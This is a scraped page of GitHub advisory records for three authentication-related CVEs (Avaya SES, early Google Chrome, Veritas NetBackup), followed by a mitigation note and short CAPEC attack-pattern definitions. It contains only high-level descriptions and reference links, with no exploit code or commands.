Vulnerability from github – Published: 2022-05-17 02:10 – Updated: 2022-05-17 02:10The Web management interface in Avaya SIP Enablement Services (SES) 3.x and 4.0, as used with Avaya Communication Manager 3.1.x, does not perform authentication for certain functionality, which allows remote attackers to obtain sensitive information and access restricted functionality via (1) the certificate installation utility, (2) unspecified scripts in the objects folder, (3) an "unnecessary default application," (4) unspecified scripts in the states folder, (5) an unspecified "default application" that lists server configuration, and (6) "full system help."
{
"affected": [],
"aliases": [
"CVE-2008-6707"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-04-10T22:00:00Z",
"severity": "MODERATE"
},
"details": "The Web management interface in Avaya SIP Enablement Services (SES) 3.x and 4.0, as used with Avaya Communication Manager 3.1.x, does not perform authentication for certain functionality, which allows remote attackers to obtain sensitive information and access restricted functionality via (1) the certificate installation utility, (2) unspecified scripts in the objects folder, (3) an \"unnecessary default application,\" (4) unspecified scripts in the states folder, (5) an unspecified \"default application\" that lists server configuration, and (6) \"full system help.\"",
"id": "GHSA-xq3v-rpgq-hxm8",
"modified": "2022-05-17T02:10:28Z",
"published": "2022-05-17T02:10:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6707"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43381"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43384"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43389"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43393"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43394"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43395"
},
{
"type": "WEB",
"url": "http://osvdb.org/46598"
},
{
"type": "WEB",
"url": "http://osvdb.org/46599"
},
{
"type": "WEB",
"url": "http://osvdb.org/46600"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30751"
},
{
"type": "WEB",
"url": "http://support.avaya.com/elmodocs2/security/ASA-2008-268.htm"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29939"
},
{
"type": "WEB",
"url": "http://www.voipshield.com/research-details.php?id=86"
},
{
"type": "WEB",
"url": "http://www.voipshield.com/research-details.php?id=87"
},
{
"type": "WEB",
"url": "http://www.voipshield.com/research-details.php?id=88"
},
{
"type": "WEB",
"url": "http://www.voipshield.com/research-details.php?id=89"
},
{
"type": "WEB",
"url": "http://www.voipshield.com/research-details.php?id=90"
},
{
"type": "WEB",
"url": "http://www.voipshield.com/research-details.php?id=91"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1943/references"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XQ44-W95M-VR58
Vulnerability from github – Published: 2022-05-02 03:31 – Updated: 2022-05-02 03:31Google Chrome before 1.0.154.53 displays a cached certificate for a (1) 4xx or (2) 5xx CONNECT response page returned by a proxy server, which allows man-in-the-middle attackers to spoof an arbitrary https site by letting a browser obtain a valid certificate from this site during one request, and then sending the browser a crafted 502 response page upon a subsequent request.
{
"affected": [],
"aliases": [
"CVE-2009-2071"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-06-15T19:30:00Z",
"severity": "MODERATE"
},
"details": "Google Chrome before 1.0.154.53 displays a cached certificate for a (1) 4xx or (2) 5xx CONNECT response page returned by a proxy server, which allows man-in-the-middle attackers to spoof an arbitrary https site by letting a browser obtain a valid certificate from this site during one request, and then sending the browser a crafted 502 response page upon a subsequent request.",
"id": "GHSA-xq44-w95m-vr58",
"modified": "2022-05-02T03:31:35Z",
"published": "2022-05-02T03:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2071"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=479880"
},
{
"type": "WEB",
"url": "http://code.google.com/p/chromium/issues/detail?id=7338"
},
{
"type": "WEB",
"url": "http://code.google.com/p/chromium/issues/detail?id=8473"
},
{
"type": "WEB",
"url": "http://research.microsoft.com/apps/pubs/default.aspx?id=79323"
},
{
"type": "WEB",
"url": "http://research.microsoft.com/pubs/79323/pbp-final-with-update.pdf"
},
{
"type": "WEB",
"url": "http://sites.google.com/a/chromium.org/dev/getting-involved/dev-channel/release-notes/releasenotes1015453"
},
{
"type": "WEB",
"url": "http://src.chromium.org/viewvc/chrome/branches/release_154.next/src/net/http/http_transaction_winhttp.cc?r1=11621\u0026r2=11669\u0026pathrev=11669"
},
{
"type": "WEB",
"url": "http://src.chromium.org/viewvc/chrome?view=rev\u0026revision=11669"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/35411"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XQ46-C84J-2V2W
Vulnerability from github – Published: 2022-12-04 06:30 – Updated: 2022-12-06 15:30An issue was discovered in Veritas NetBackup Flex Scale through 3.0 and Access Appliance through 8.0.100. A default password is persisted after installation and may be discovered and used to escalate privileges.
{
"affected": [],
"aliases": [
"CVE-2022-46411"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-04T05:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Veritas NetBackup Flex Scale through 3.0 and Access Appliance through 8.0.100. A default password is persisted after installation and may be discovered and used to escalate privileges.",
"id": "GHSA-xq46-c84j-2v2w",
"modified": "2022-12-06T15:30:30Z",
"published": "2022-12-04T06:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46411"
},
{
"type": "WEB",
"url": "https://www.veritas.com/content/support/en_US/security/VTS22-019#issue3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.